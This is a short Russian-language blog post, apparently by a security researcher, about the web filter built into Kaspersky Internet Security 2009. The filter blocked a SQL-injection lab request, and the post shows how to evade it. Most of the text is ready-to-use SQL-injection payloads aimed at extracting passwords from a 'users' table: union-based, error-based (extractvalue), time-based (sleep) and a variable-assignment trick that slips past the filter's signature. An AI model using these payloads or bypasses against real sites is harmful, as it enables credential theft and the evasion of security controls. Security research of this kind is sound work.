ВАФ! Kaspersky тоже вроде WAF

Мои Позитивные коллеги тоже любят поиграться с sql injection:) Вот какое сообщение я наблюдал сегодня, когда виртуальная машина с лабораторной работой по sql-инъекциям была запущена на компьютере, где установлен KIS 2009:


Подобное сообщение можно увидеть, когда запрос содержит следующие ключевые слова и именно в такой последовательности:

/?id=1 union select password from users


Примечательно, что такие запросы проходят без блокировки:

/?id=1 union select passwd from users
/?id=1 union select pass from users
/?id=1 union select password from user
/?id=1 union select login from users--
и т.п.

Но, как быть, если необходимо использовать именно колонку с именем "password" и таблицу с именем "users"? Использовать все те же техники обхода, которые применяются и для других waf сигнатурного типа.

Например, так:
/?id=1+AND+extractvalue(1,concat(0x5C,(select+password+from+users+limit+0,1)))--

Или так:
/?id=1+AND+if(ord((lower(mid((select+password+from+users+limit+0,1),1,1))))=49,sleep(10),1)--

Но в данном случае, фильтр KIS WAF обходится еще более изящнее. Сигнатура срабатывает только на строки "password" и "users", следующие после ключевого слова "union". Учитывая это, можно составить следующий запрос, который будет работать в обход фильтра KIS:

/?id=1+and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v--
/?id=1+and+(select+(@v:=password)+from+users+limit+1,1)+union+select+@v--
и т.д.

Собственно, KIS WAF bypass, но больше удивило другое - само присутствие waf в составе дистрибутива KIS ;))

Комментариев нет :

Отправить комментарий